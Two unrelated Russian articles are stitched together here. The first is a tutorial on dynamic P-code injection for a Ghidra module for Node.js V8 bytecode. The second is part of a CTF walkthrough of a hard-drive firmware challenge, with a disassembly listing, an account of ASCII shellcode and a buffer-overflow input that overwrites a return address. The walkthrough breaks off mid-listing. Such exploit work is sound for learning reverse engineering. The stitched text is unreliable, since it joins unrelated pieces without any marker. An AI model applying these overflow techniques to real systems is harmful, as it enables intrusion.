Когда мы разрабатывали модуль ghidra nodejs для инструмента Ghidra, мы поняли, что не всегда получается корректно реализовать опкод V8 (движка JavaScript, используемого Node.js) на языке описания ассемблерных инструкций SLEIGH. В таких средах исполнения, как V8, JVM и прочие, один опкод может выполнять достаточно сложные действия. Для решения этой проблемы в Ghidra предусмотрен механизм динамической инъекции конструкций P-code языка промежуточного представления Ghidra. Используя этот механизм, нам удалось превратить вывод декомпилятора из такого:

В такой:

Рассмотрим пример с опкодом CallRuntime. Он вызывает одну функцию из списка т.н. Runtime-функций V8 по индексу (kRuntimeId). Также данная инструкция имеет переменное число аргументов (range номер начального регистра-аргумента, rangedst число аргументов). Описание инструкции на языке SLEIGH, который Ghidra использует для определения ассемблерных инструкций, выглядит так:

Итого для, казалось бы, не очень сложной операции необходимо проделать целую кучу работы.

1. Поиск нужного названия функции в массиве Runtime-функций по индексу kRuntimeId.

2. Поскольку аргументы передаются через регистры, необходимо сохранить их предыдущее состояние.

3. Передача в функцию переменного количества аргументов.

4. Вызов функции и сохранение результата вызова в аккумулятор.

5. Восстановление предыдущего состояния регистров.

Если вы знаете, как сделать такое на SLEIGH, пожалуйста, напишите комментарий. А мы решили, что все это (а особенно работу с переменным количеством аргументов-регистров) не очень удобно (если возможно) реализовывать на языке описания процессорных инструкций, и применили механизм динамических инъекций p-code, который как раз для таких случаев реализовали разработчики Ghidra. Что это за механизм?

Можно создать в файле описания ассемблерных инструкций (slaspec) специальную пользовательскую операцию, например CallRuntimeCallOther. Далее, изменив конфигурацию вашего модуля (подробнее об этом ниже), вы можете сделать так, чтобы при нахождении в коде данной инструкции Ghidra передавала бы обработку в Java динамически, и уже на языке Java написать обработчик, который будет динамически формировать p-code для инструкции, пользуясь всей гибкостью Java.

Рассмотрим подробно, как это сделать.

Создание служебной операции SLEIGH

Опишем опкод CallRuntime следующим образом. Подробнее об описании процессорных инструкций на языке SLEIGH все можете узнать из статьи Создаем процессорный модуль под Ghidra на примере байткода v8.

Определим служебную операцию:

define pcodeop CallRuntimeCallOther;

И опишем саму инструкцию:

:CallRuntime [kRuntimeId], range^rangedst is op = 0x53; kRuntimeId; range;       rangedst {CallRuntimeCallOther(2, 0);}

Таким образом, любой опкод, начинающийся с байта 0x53, будет расшифрован как CallRuntime При попытке его декомпиляции будет вызываться обработчик операции CallRuntimeCallOtherс аргументами 2 и 0. Эти аргументы описывают тип инструкции (CallRuntime) и позволят нам написать один обработчик для нескольких похожих инструкций (CallWithSpread, CallUndefinedReceiverи т.п.).

Подготовительная работа

Добавим класс, через который будет проходить инъекция кода: V8_PcodeInjectLibrary. Этот класс мы унаследуем от ghidra.program.model.lang.PcodeInjectLibrary который реализует большую часть необходимых для инъекции p-code методов.

Начнем написание класса V8_PcodeInjectLibraryс такого шаблона:

package v8_bytecode;import public class V8_PcodeInjectLibrary extends PcodeInjectLibrary {public V8_PcodeInjectLibrary(SleighLanguage l) {}}

V8_PcodeInjectLibraryбудет использоваться не пользовательским кодом, а движком Ghidra, поэтому нам необходимо задать значение параметра pcodeInjectLibraryClassв файле pspec, чтобы движок Ghidra знал, какой класс задействовать для инъекции p-code.

<?xml version="1.0" encoding="UTF-8"?><processor_spec>  <programcounter register="pc"/>  <properties>  <property key="pcodeInjectLibraryClass" value="v8_bytecode.V8_PcodeInjectLibrary"/>  </properties></processor_spec>

Также нам понадобится добавить нашу инструкцию CallRuntimeCallOtherв файл cspec. Ghidra будет вызывать V8_PcodeInjectLibraryтолько для инструкций, определенных таким образом в cspec-файле.

<callotherfixup targetop="CallRuntimeCallOther"><pcode dynamic="true"><input name=outsize"/> </pcode></callotherfixup>

После всех этих нехитрых процедур (которые, к слову, на момент создания нашего модуля почти не были описаны в документации) можно перейти к написанию кода.

Создадим HashSet, в котором будем хранить реализованные нами инструкции. Также мы создадим и проинициализируем член нашего класса переменную language. Данный код сохраняет операцию CallRuntimeCallOtherв наборе поддерживаемых операций, а также выполняет ряд служебных действий, в которые мы не будем подробно вдаваться.

public class V8_PcodeInjectLibrary extends PcodeInjectLibrary {private Set<String> implementedOps;private SleighLanguage language;public V8_PcodeInjectLibrary(SleighLanguage l) {super(l);language = l;String translateSpec = language.buildTranslatorTag(language.getAddressFactory(),getUniqueBase(), language.getSymbolTable());PcodeParser parser = null;try {parser = new PcodeParser(translateSpec);}catch (JDOMException e1) {e1.printStackTrace();}implementedOps = new HashSet<>();implementedOps.add("CallRuntimeCallOther");}}

Благодаря внесенным нами изменениям Ghidra будет вызывать метод getPayloadнашего класса V8_PcodeInjectLibraryкаждый раз при попытке декомпиляции инструкции CallRuntimeCallOther Создадим данный метод, который при наличии инструкции в списке реализованных операций будет создавать объект класса V8_InjectCallVariadic(этот класс мы реализуем чуть позже) и возвращать его.

@Override/*** This method is called by DecompileCallback.getPcodeInject.*/public InjectPayload getPayload(int type, String name, Program program, String context) {if (type == InjectPayload.CALLMECHANISM_TYPE) {return null;}if (!implementedOps.contains(name)) {return super.getPayload(type, name, program, context);}V8_InjectPayload payload = null; switch (name) {case ("CallRuntimeCallOther"):payload = new V8_InjectCallVariadic("", language, 0);break;default:return super.getPayload(type, name, program, context);}return payload;}

Генерация p-code

Основная работа по динамическому созданию p-code будет происходить в классе V8_InjectCallVariadic. Давайте его создадим и опишем типы операций.

package v8_bytecode;import public class V8_InjectCallVariadic extends V8_InjectPayload {public V8_InjectCallVariadic(String sourceName, SleighLanguage language, long uniqBase) {super(sourceName, language, uniqBase);}// Типы операций. В данном примере мы рассматриваем RUNTIMETYPEint INTRINSICTYPE = 1;int RUNTIMETYPE = 2;int PROPERTYTYPE = 3;@Overridepublic PcodeOp[] getPcode(Program program, InjectContext context) {}@Overridepublic String getName() {return "InjectCallVariadic";}}

Как нетрудно догадаться, нам необходимо разработать нашу реализацию метода getPcode Для начала создадим объект pCode класса V8_PcodeOpEmitter Этот класс будет помогать нам создавать инструкции pCode (позже мы ознакомимся с ним подробнее).

V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase); 

Далее из аргумента context (контекст инъекции кода) мы можем получить адрес инструкции, который нам пригодится в дальнейшем.

Address opAddr = context.baseAddr;

С помощью данного адреса мы получим объект текущей инструкции:

Instruction instruction = program.getListing().getInstructionAt(opAddr);

Также с помощью аргумента contextмы получим значения аргументов, которые ранее описывали на языке SLEIGH.

Integer funcType = (int) context.inputlist.get(0).getOffset();Integer receiver = (int) context.inputlist.get(1).getOffset();

Реализуем обработку инструкции и генерации Pcode.

// проверка типа инструкцииif (funcType != PROPERTYTYPE) {// получаем kRuntimeId  индекс вызываемой функцииInteger index = (int) instruction.getScalar(0).getValue();// сгенерируем Pcode для вызова инструкции cpool с помощью объекта pCode класса V8_PcodeOpEmitter. Подробнее остановимся на нем ниже.pCode.emitAssignVarnodeFromPcodeOpCall("call_target", 4, "cpool", "0", "0x" + opAddr.toString(), index.toString(), funcType.toString());}// получаем аргумент диапазон регистровObject[] tOpObjects = instruction.getOpObjects(2);// get caller args count to save only necessary onesObject[] opObjects;Register recvOp = null;if (receiver == 1) {}else {opObjects = new Object[tOpObjects.length];System.arraycopy(tOpObjects, 0, opObjects, 0, tOpObjects.length);}// получаем количество аргументов вызываемой функцииtry {callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount();}catch(Exception e) {callerParamsCount = 0;}// сохраняем старые значения регистров вида aN на стеке. Это необходимо для того, чтобы Ghidra лучше распознавала количество аргументов вызываемой функцииInteger callerArgIndex = 0;for (; callerArgIndex < callerParamsCount; callerArgIndex++) {pCode.emitPushCat1Value("a" + callerArgIndex);}// сохраняем аргументы вызываемой функции в регистры вида aNInteger argIndex = opObjects.length;for (Object o: opObjects) {argIndex--;Register currentOp = (Register)o;pCode.emitAssignVarnodeFromVarnode("a" + argIndex, currentOp.toString(), 4);}// вызов функцииpCode.emitVarnodeCall("call_target", 4);// восстанавливаем старые значения регистров со стекаwhile (callerArgIndex > 0) {callerArgIndex--;pCode.emitPopCat1Value("a" + callerArgIndex);}// возвращаем массив P-Code операцийreturn pCode.getPcodeOps();

Теперь рассмотрим логику работы класса V8_PcodeOpEmitter (https://github.com/PositiveTechnologies/ghidra_nodejs/blob/main/src/main/java/v8_bytecode/V8_PcodeOpEmitter.java), который во многом основан на аналогичном классе модуля для JVM. Данный класс генерирует p-code операции с помощью ряда методов. Рассмотрим их в порядке обращения к ним в нашем коде.

emitAssignVarnodeFromPcodeOpCall(String varnodeName, int size, String pcodeop, String... args)

Для понимания работы данного метода сначала рассмотрим понятие Varnodeодин из основных элементов p-code, по сути представляющий собой любую переменную, задействованную в p-code. Регистры, локальные переменные всё это Varnode.

Вернемся к методу. Данный метод генерирует p-code для вызова функции pcodeopс аргументами argsи сохраняет результат работы функции в varnodeName То есть в итоге получается такая конструкция:

varnodeName = pcodeop(args[0], args[1], );

emitPushCat1Value(String valueName) и emitPopCat1Value (String valueName)

Генерирует p-code для аналогов ассемблерных операций push и pop соответственно с Varnode valueName.

emitAssignVarnodeFromVarnode (String varnodeOutName, String varnodeInName, int size)

Генерирует p-code для операции присвоения значения varnodeOutName = varnodeInName

emitVarnodeCall (String target, int size)

Генерирует P-Code для вызова функции target.

Заключение

Благодаря вышеизложенному механизму у нас получилось значительно улучшить вывод декомплилятора Ghidra. В итоге динамическая генерация p-code стала еще одним кирпичиком в нашем большом инструменте модуле для анализа скомпилированного bytenode скриптов Node.JS. Исходный код модуля доступен в нашем репозитории на github.com. Пользуйтесь, и удачного вам реверс-инжиниринга!

Если у вас остались какие-то вопросы, задавайте их в комментариях - буду рад ответить.

Большое спасибо за исследование особенностей Node.js и разработку модуля моим коллегам: Владимиру Кононовичу, Наталье Тляповой, Сергею Федонину.

По мотивам
Часть 0x00
Часть 0x01
Часть 0x02

Сложность

Ребятушки, наконец! После довольно длительного перерыва ко мне, в конце концов, пришло вдохновение написать последнюю, финальную и завершающую часть этого чертовски долгого цикла о взломе диска от RedBalloonSecurity. В этой части вас ждет самое сложное из имеющихся заданий. То, с чем я боролся несколько месяцев, но за что был очень щедро вознагражден. Путь к решению был тернист, и я хочу вас в него посвятить.

Сразу хочется сказать, что прочтение моей предыдущей статьи обязательно! Она расписана до мелочей. Текущая публикация пишется с учетом того, что вы прочли и поняли предыдущую.

LEVEL3

По традиции, я начну с короткого содержания раздела диска:

user@ubuntu:/media/user/LEVEL3$ file *level_3.html:                  HTML document, ASCII text, with very long lineslevel3_instructions.txt:       ASCII textfinal_level.lod.7z.encrypted:  7-zip archive data, version 0.3

Все по классике:

1. level_3.html - файл с дампом памяти функции, которая генерирует ключ

2. level3_instructions.txt - инструкции что и как делать

3. final_level.lod.7z.encrypted - запароленный архив с последним файлом прошивки. Решение текущего уровня должно нас привести к паролю к этому архиву

Те, кто следит за этим циклом публикаций уже должны почуять схожесть этого уровня с предыдущим. Так оно и есть. Мы имеем дело с очень похожей задачей. Но, не все так просто :)

Наша подсказка выглядит вот так:

user@ubuntu:/media/user/LEVEL3$ cat level3_instructions.txtYou made it! I guess I wasn't the best intern...Maybe this one is better?1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level3.html provides disassembly of a memory snapshot of the key generator function.Read this. http://phrack.org/issues/66/12.html

Ха-ха. Кто-то не был лучшим интерном. В конце подсказки лежит ссылка, которая ведет на сайт phrack.org. Этот сайт заблокирован во многих организациях. Он попадает под категорию malware/viruses, но там нету ни единого плохого бинарника. Это очень старый онлайн журнал, где умельцы пишут статьи о том как что-то взломать. Наша ссылка ведет на статью о написании ASCII шеллкода для ARM процессоров.

ASCII шеллкод

Ответить на вопрос о том, что же такое шеллкод в полном обьеме, я, наверное не смогу. Но, в моей голове ответ выглядит так:

Это набор бинарных данных, который обычно используется в эксплоитах в качестве исполняемого кода. Если мы говорим об эксплоитах - их код можно логически разбить на две части:

• Первая часть отвечает за абьюз уязвимости. То есть, это код, который использует специальные механики, такие как buffer overflow, race condition, use-after-free и тд. для того, чтоб заставить систему исполнить вторую часть эксплоита.

• А вторая часть - это уже то, что должен исполнить процессор после того, как эксплоит получил контроль над уязвимой системой. Это и есть наш шеллкод. Он может быть очень разным. Это зависит от того, что мы хотим получить от взломанной системы. Мы можем использовать в качестве шеллкода код для скрытого майнинга крипты, запустить процесс bash и присоединить его дескрипторы через сокет к удаленному ПК (и таким образом получить шелл на взломанный комп). По сути, шеллкод это то, чем мы нагружаем процессор после взлома системы.

Стоит сказать, что такой код может быть только машинным. Потому что подсовывать высокоуровневый код, компилировать его на взломанном ПК, а потом исполнять - будет ну прям совсем изобретенным велосипедом. В процессе написания шеллкода нужно так же учитывать то, что он должен быть незаметным и маленьким по размеру. Размер имеет чуть ли не самое важное значение. Чем меньше размер - тем больше "фильтров" может пройти наш шеллкод. Об этом расскажу немного позже в процессе этой публикации.

Самая значимая часть статьи на phrack.org это ASCII. Дело в том, что очень много систем принимают в качестве пользовательского ввода как-раз таки данные в ASCII формате (наш диск не исключение - кроме текста, символов и цифр писать в консольник ничего нельзя). В статье описано несколько механик о том, как писать шеллкод, используя только числа в диапазоне от 0x20 до 0x7E. И, мало того, каждый код операции процессора разбивается на биты, и рассказывается почему одна операция проходит ASCII "фильтр", а другая нет. Статью писал истинный гений!

В этот раз, я покажу файл level_3.html целиком. Ведь он гораздо меньше, чем на предыдущем уровне.

001. ROM:00332D30002. ROM:00332D30 ; Segment type: Pure code003. ROM:00332D30                 AREA ROM, CODE, READWRITE, ALIGN=0004. ROM:00332D30                 ; ORG 0x332D30005. ROM:00332D30                 CODE16006. ROM:00332D30007. ROM:00332D30 ; =============== S U B R O U T I N E =======================================008. ROM:00332D30009. ROM:00332D30 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)010. ROM:00332D30 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.011. ROM:00332D30 ; The next level to reach, the key parts to print you must!012. ROM:00332D30013. ROM:00332D30 generate_key014. ROM:00332D30015. ROM:00332D30 var_A8          = -0xA8016. ROM:00332D30017. ROM:00332D30                 PUSH            {R4-R7,LR}018. ROM:00332D32                 SUB             SP, SP, #0x90019. ROM:00332D34                 MOVS            R7, R1020. ROM:00332D36                 MOVS            R4, R2021. ROM:00332D38                 MOVS            R5, R0022. ROM:00332D3A                 MOV             R1, SP023. ROM:00332D3C                 LDR             R0, =0x35A05C ; "SP: %x"024. ROM:00332D3E                 LDR             R3, =0x68B08D025. ROM:00332D40                 NOP026. ROM:00332D42                 LDR             R1, =0x6213600 ; "R"...027. ROM:00332D44                 MOV             R2, SP028. ROM:00332D46029. ROM:00332D46 loc_332D46                              ; CODE XREF: generate_key+22j030. ROM:00332D46                 LDRB            R6, [R1]031. ROM:00332D48                 ADDS            R1, R1, #1032. ROM:00332D4A                 CMP             R6, #0xD033. ROM:00332D4C                 BEQ             loc_332D54034. ROM:00332D4E                 STRB            R6, [R2]035. ROM:00332D50                 ADDS            R2, R2, #1036. ROM:00332D52                 B               loc_332D46037. ROM:00332D54 ; ---------------------------------------------------------------------------038. ROM:00332D54039. ROM:00332D54 loc_332D54                              ; CODE XREF: generate_key+1Cj040. ROM:00332D54                 SUBS            R6, #0xD041. ROM:00332D56                 STRB            R6, [R2]042. ROM:00332D58                 SUBS            R5, #0x49 ; 'I'043. ROM:00332D5A                 CMP             R5, #9044. ROM:00332D5C                 BGT             loc_332E14045. ROM:00332D5E                 LSLS            R5, R5, #1046. ROM:00332D60                 ADDS            R5, R5, #6047. ROM:00332D62                 MOV             R0, PC048. ROM:00332D64                 ADDS            R5, R0, R5049. ROM:00332D66                 LDRH            R0, [R5]050. ROM:00332D68                 ADDS            R0, R0, R5051. ROM:00332D6A                 BX              R0052. ROM:00332D6A ; ---------------------------------------------------------------------------053. ROM:00332D6C                 DCW 0x15054. ROM:00332D6E                 DCW 0xA6055. ROM:00332D70                 DCW 0xA4056. ROM:00332D72                 DCW 0xA2057. ROM:00332D74                 DCW 0xA0058. ROM:00332D76                 DCW 0x9E059. ROM:00332D78                 DCW 0x30060. ROM:00332D7A                 DCW 0x52061. ROM:00332D7C                 DCW 0x98062. ROM:00332D7E                 DCW 0xE063. ROM:00332D80 ; ---------------------------------------------------------------------------064. ROM:00332D80065. ROM:00332D80 key_part1066. ROM:00332D80                 LDR             R0, [R4]067. ROM:00332D82                 MOVS            R6, #1068. ROM:00332D84                 STR             R6, [R7]069. ROM:00332D86                 BLX             loc_332E28070. ROM:00332D86 ; ---------------------------------------------------------------------------071. ROM:00332D8A                 CODE32072. ROM:00332D8A                 DCB    0073. ROM:00332D8B                 DCB    0074. ROM:00332D8C ; ---------------------------------------------------------------------------075. ROM:00332D8C076. ROM:00332D8C key_part2077. ROM:00332D8C                 LDR             R6, [R7]078. ROM:00332D90                 CMP             R6, #1079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0081. ROM:00332D9C                 MOVEQ           R6, #1082. ROM:00332DA0                 STREQ           R6, [R7,#4]083. ROM:00332DA4                 B               loc_332E28084. ROM:00332DA8 ; ---------------------------------------------------------------------------085. ROM:00332DA8086. ROM:00332DA8 key_part3087. ROM:00332DA8                 LDR             R6, [R7]088. ROM:00332DAC                 CMP             R6, #1089. ROM:00332DB0                 LDREQ           R6, [R7,#4]090. ROM:00332DB4                 CMPEQ           R6, #1091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1093. ROM:00332DC0                 MOVEQ           R6, #1094. ROM:00332DC4                 STREQ           R6, [R7,#8]095. ROM:00332DC8                 B               loc_332E28096. ROM:00332DCC ; ---------------------------------------------------------------------------097. ROM:00332DCC098. ROM:00332DCC key_part4099. ROM:00332DCC                 LDR             R6, [R7]100. ROM:00332DD0                 CMP             R6, #1101. ROM:00332DD4                 LDREQ           R6, [R7,#4]102. ROM:00332DD8                 CMPEQ           R6, #1103. ROM:00332DDC                 LDREQ           R6, [R7,#8]104. ROM:00332DE0                 CMPEQ           R6, #1105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2107. ROM:00332DEC                 MOVEQ           R6, #1108. ROM:00332DF0                 STREQ           R6, [R7,#8]109. ROM:00332DF4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"110. ROM:00332DF8                 SUB             SP, SP, #4111. ROM:00332DFC                 STR             R0, [SP,#0xA8+var_A8]112. ROM:00332E00                 MOVS            R0, R4113. ROM:00332E04                 LDR             R4, dword_332E40+4114. ROM:00332E08                 BLX             R4115. ROM:00332E0C                 ADD             SP, SP, #4116. ROM:00332E10117. ROM:00332E10 loc_332E10                              ; CODE XREF: generate_key:loc_332E10j118. ROM:00332E10                 B               loc_332E10119. ROM:00332E14 ; ---------------------------------------------------------------------------120. ROM:00332E14                 CODE16121. ROM:00332E14122. ROM:00332E14 loc_332E14                              ; CODE XREF: generate_key+2Cj123. ROM:00332E14                 LDR             R4, =0x35A020 ; "key not generated"124. ROM:00332E16                 SUB             SP, SP, #4125. ROM:00332E18                 STR             R0, [SP,#0xA8+var_A8]126. ROM:00332E1A                 MOVS            R0, R4127. ROM:00332E1C                 LDR             R4, =0x68B08D128. ROM:00332E1E                 BLX             R4129. ROM:00332E20                 ADD             SP, SP, #4130. ROM:00332E22                 BLX             loc_332E28131. ROM:00332E26                 MOVS            R0, R0132. ROM:00332E26 ; End of function generate_key133. ROM:00332E26134. ROM:00332E28                 CODE32135. ROM:00332E28136. ROM:00332E28 loc_332E28                              ; CODE XREF: generate_key+56p137. ROM:00332E28                                         ; generate_key+74j ...138. ROM:00332E28                 ADD             SP, SP, #0xA0139. ROM:00332E2C                 LDR             LR, [SP],#4140. ROM:00332E30                 BX              LR141. ROM:00332E30 ; ---------------------------------------------------------------------------142. ROM:00332E34 dword_332E34    DCD 0x35A05C            ; DATA XREF: generate_key+Cr143. ROM:00332E38 dword_332E38    DCD 0x68B08D            ; DATA XREF: generate_key+Er144. ROM:00332E3C dword_332E3C    DCD 0x6213600           ; DATA XREF: generate_key+12r145. ROM:00332E40 dword_332E40    DCD 0x35A036, 0x68B08D  ; DATA XREF: generate_key+C4r146. ROM:00332E40                                         ; generate_key+D4r147. ROM:00332E48 dword_332E48    DCD 0x35A020            ; DATA XREF: generate_key:loc_332E14r148. ROM:00332E4C off_332E4C      DCD 0x68B08D            ; DATA XREF: generate_key+ECr149. ROM:00332E50                 DCD 0150. ROM:00332E50 ; ROM           ends151. ROM:00332E50152. ROM:00332E50                 END

Отличия

Огооо! Первый блин комом. Здесь нету функции ahex2byte. Без конвертации вводимых символов в бинарные, мы уж точно не сможем прыгнуть по адресам каждого из ключа. То есть, у нас не получится взломать этот уровень так же, как и предыдущий. Оно и не дурно - задачка то новая!

Первое, что мне сразу бросилось в глаза - строка 18. Как мы помним из предыдущей статьи, это часть Function Prologue. Но, количество памяти, которое мы выделяем для стека огромное - аж целых 0х90 байт. Если бы эта функция имела много аргументов и дохрена переменных внутри, это бы хоть как-то оправдало на столько огромную цифру. Это, друзья, наш "первый звоночек".

На строках 138-140 мы видим то же самое уменьшение стека, и прыжок на адрес, который был залинкован перед входом в функцию generate_key. Количество байт, на которое мы уменьшаем стек - 0xA0. Это на 16 байт больше того количества, на которое мы увеличивали стек сразу после входа в функцию. На предыдущем уровне, мы имели ровно такую же разницу. В общем, этот кусок говорит нам о том, что здесь мы эксплуатируем ровно такую-же уязвимость, как и на предыдущем уровне - buffer overflow. Но, заставить программу отдать ключи нам прийдется другим, более изощренным способом.

На строке 24 мы видим, что адрес нашей функции printf грузится в регистр R3. Пока что не понятно, для каких целей мы это делаем, но это, уж поверьте, стоит держать в голове :)

Строки 30-36. Здесь у нас нету отличий от предыдущего уровня - все, что мы здесь делаем это копируем наши вводимые данные на стек, и продолжаем исполнение программы когда столкнемся с символом новой строки.

Строки 40-41. Опа! А здесь мы видим две замечательные инструкции. На строке 40 мы отнимаем 0x0D от последнего вводимого символа - новой строки (тот же 0x0D). Получаем ноль. И, на строке 41, мы сохраняем этот ноль на стек в качестве последнего символа нашего ввода. Это наталкивает нас на мысль, что, если мы правильно все рассчитаем, один из байтов адреса на который вернется программа вполне себе может быть 0х00. Опять же, держим в голове. Однажды это нас спасет :)

Ну, вот и все. В остальном, программа почти идентична той, что мы имели на LEVEL2. Конечно, есть парочка непохожих вещей, но они выходят за рамки процесса взлома этого уровня.

Жалкие попытки

Как я и говорил в начале этой публикации, у меня ушло невероятно много времени, чтоб понять как взломать эту ерунду. Друзья, провальные попытки - тоже попытки. Поэтому, пройдемся по тем безуспешным шагам, которые я попробовал, но которые не увенчались успехом.

Меняем прошивку

Первая мысль была загрузить файл level_3.lod в дизассемблер, найти место, которое будет похожим на то, что я вижу в level_3.html, отредактировать пару значений, и залить прошивку обратно на диск. Я воспользовался Hopper Disassembler, и все таки нашел это место! Очень странно то, что каждая вторая строка кода была совсем не похожа на то, что я вижу в level_3.html. Возможно, это была какая-то контрольная сумма, или же логика прошивальщика seaflashlin_rbs работает специфичным образом. Так или иначе, чисто для тестов, я изменил парочку значений.

Но, когда я попытался прошить диск, утилита seaflashlin_rbs завершалась с ошибкой. И, после прошивки, мои изменения не применились.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_3_patch.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_3_patch.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 FAILURE!!!

Здесь я вообще не понял что именно стало причиной. Либо сама утилита, либо несоответствие данных в файле прошивки. В общем, решил не копать глубоко. Кое-где в голове было понимание, что этот уровень решается не так просто. Я тут же отбросил этот вариант.

Может потыкать железяку?

Немного погуглив, я понял что каждый чип (IC) имеет такую штуку как JTAG. Это своеобразный интерфейс для тестирования чипа. Через него можно отдать команду процессору остановить исполнение кода, и переключится в debug-режим. С помощью openocd можно "транслировать" debug-режимы различных чипов, и вывести порт для gdb. А уже с gdb можно попросить процессор показать определенные участки памяти, да и вообще слить всю память, которая находится в рабочем пространстве процессора. Если мы совершим подобное, мы отыщем функцию generate_key в огромном дампе памяти, и по референсам сможем найти все ключи!

Для подобной манипуляции есть парочка нюансов:

• Нужно знать какие ножки процессора отвечают за JTAG

• Нужно понять каким образом настроить openocd

JTAG это довольно хитрая вещь. На разных микропроцессорах он располагается на разных ножках, и сразу понять что куда подключать - практически не возможно. Это на столько не возможно, что существует такая вещь как jtagulator. Цена железяки говорит сама за себя. https://www.parallax.com/product/jtagulator/

На тыльной стороне платы был 38-пиновый разьем. Я так понял, что этот разьем используется для тестирования платы в процессе производства. На нем и должен быть наш JTAG

Спасибо форуму hddguru.com и сайту spritesmods.com - там были все необходимые распиновки и небольшие гайды о том, как подключится к JTAG на похожих дисках. Для openocd я использовал стандартный шаблон под raspberry pi, добавив лишь опцию открытия порта для gdb, и немножко описав IC (может даже криво). Контакты на разьеме были совсем маленькие, и припаиваться к ним было ужасно не удобно. Понимать где какая ножка было тяжело для зрения. Поэтому, я сделал фотки, и все разукрасил с обеих сторон.

В результате, картина моего подключения выглядела ужасно. Кое что было криво припаяно, кое что просто контактировало с платой без какой-либо пайки. Куча female-male-female... Но, блин, оно работало. Когда я запустил openocd, у меня получилось опознать чип!

К сожалению, конфигурация openocd была безвозвратно утеряна, но скриншот подключения остался.

Я увидел 3 ядра процессора (JTAG tap). По partnumber я даже нашел изображения этого чипа, и они выглядели похожими на тот, что мы имеем на плате. Оказалось, что это STMicroelectronics STR912.

Но, как видите - в конце лога от openocd я увидел ошибки. Они указывали на то, что процессор не ответил на команду halt. Как я это понял, он проигнорировал просьбу включить debug-режим. Без debug-режима, мы никак не сможем запросить у процессора содержимое памяти... и не сможем решить этот уровень. Очередная неудача - JTAG был закрыт.

Может, толковые ребята в комментариях подскажут, шел ли я по правильному пути, тот ли это чип вообще, и правильно ли я понял происходящее.

Решаем по правильному

В конце концов я сдался, и понял, что этот уровень нужно решать как есть, без попыток обойти систему. Уж слишком много было подсказок насчет шеллкода, патч от keystone с предыдущего уровня никак не шел из головы, и этот комментарий на строке 23 "SP: %x" все не давал мне покоя. К тому же, этот комментарий есть в задаче от предыдущего уровня.

У меня оставалась еще одна мысль - поскольку мы копируем все вводимые символы на стек, можно попытаться самому написать ASCII шеллкод и заабьюзить адрес возврата так, чтоб он указывал на стек. Тем самым, мы заставим процессор исполнить то, что напишем. В нашем случае, шеллкод должен выставить адреса ключей в регистр R0, и триггернуть printf. Но, для этого нужно знать адрес SP, в момент копирования нашего ввода на стек. Я сделал одно допущение - поскольку мы имеем дело с embedded устройством, у нас нету ядра, нету виртуализации - все адреса никак не транслируются. Получается, адрес SP в момент триггера функции generate_key через "R..." должен быть одинаковым на LEVEL2 и на LEVEL3.

Если глянете на level_2.html из предыдущей статьи, вы увидите, что 0x00332DCC - это адрес, где мы сохраняем содержимое SP в R1, расставляем аргументы для printf по местам, и триггерим printf - то есть, печатаем адрес SP. Я перепрошил диск на предыдущий уровень LEVEL2 и сделал вот такой ввод в консоль:

R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC2D3300

На что получил вот такой ответ:

SP:2c7bcc.

Хм, 0x002C7BCC... первый 0x00 байт мы сможем получить после того, как отнимем 0xD от символа новой строки (строки 40-41), 0x2C и 0x7B это символы в ASCII диапазоне - "," и "{". Здесь все хорошо. А вот последний байт 0xCC выходит за пределы ASCII. Но, как мы помним, в Function Prologue (строка 18), мы увеличивали стек (уменьшали адрес) аж на 0x90 байт. То есть, наш шеллкод может располагаться в довольно широком диапазоне адресов. Последний байт можно запросто подстроить так, чтоб он был в ASCII.

То есть, как видите, затея с прыжком исполнения на стек вполне реальна!

Но, есть одна проблемка - мы печатаем адрес SP внутри функции. А нам нужен адрес SP на тот момент, когда мы копируем первый вводимый символ на стек. Это и будет наш адрес, куда мы переведем исполнение программы. А содержимое стека и будет нашим шеллкодом.

Берем во внимание все манипуляции с SP в процессе generate_key. Что написано пером... ну вы поняли. Я распечатал LEVEL2 & LEVEL3 и вручную все расписал. К сожалению, фоток от LEVEL2 не осталось, поэтому будет кусок кода из level_2.html:

013. ROM:00332D00 generate_key014. ROM:00332D00015. ROM:00332D00 var_28          = -0x28016. ROM:00332D00017. ROM:00332D00                 PUSH            {R4-R7,LR}018. ROM:00332D02                 SUB             SP, SP, #0x10019. ROM:00332D04                 MOVS            R7, R1020. ROM:00332D06                 MOVS            R4, R2...108. ROM:00332DCC                 MOV             R1, SP109. ROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"110. ROM:00332DD4                 BLX             loc_332DDC111. ROM:00332DD8                 CODE16112. ROM:00332DD8113. ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2Ej114. ROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"115. ROM:00332DDA                 NOP116. ROM:00332DDC117. ROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8p118. ROM:00332DDC                                         ; generate_key+D4p119. ROM:00332DDC                 SUB             SP, SP, #4120. ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]121. ROM:00332DE0                 MOVS            R0, R4123. ROM:00332DE2                 LDR             R4, =0x68B08D124. ROM:00332DE4                 BLX             R4125. ROM:00332DE6                 ADD             SP, SP, #4126. ROM:00332DE8                 BLX             loc_332DEC127. ROM:00332DE8 ; End of function generate_key128. ROM:00332DE8129. ROM:00332DEC                 CODE32130. ROM:00332DEC131. ROM:00332DEC loc_332DEC                              ; CODE XREF: 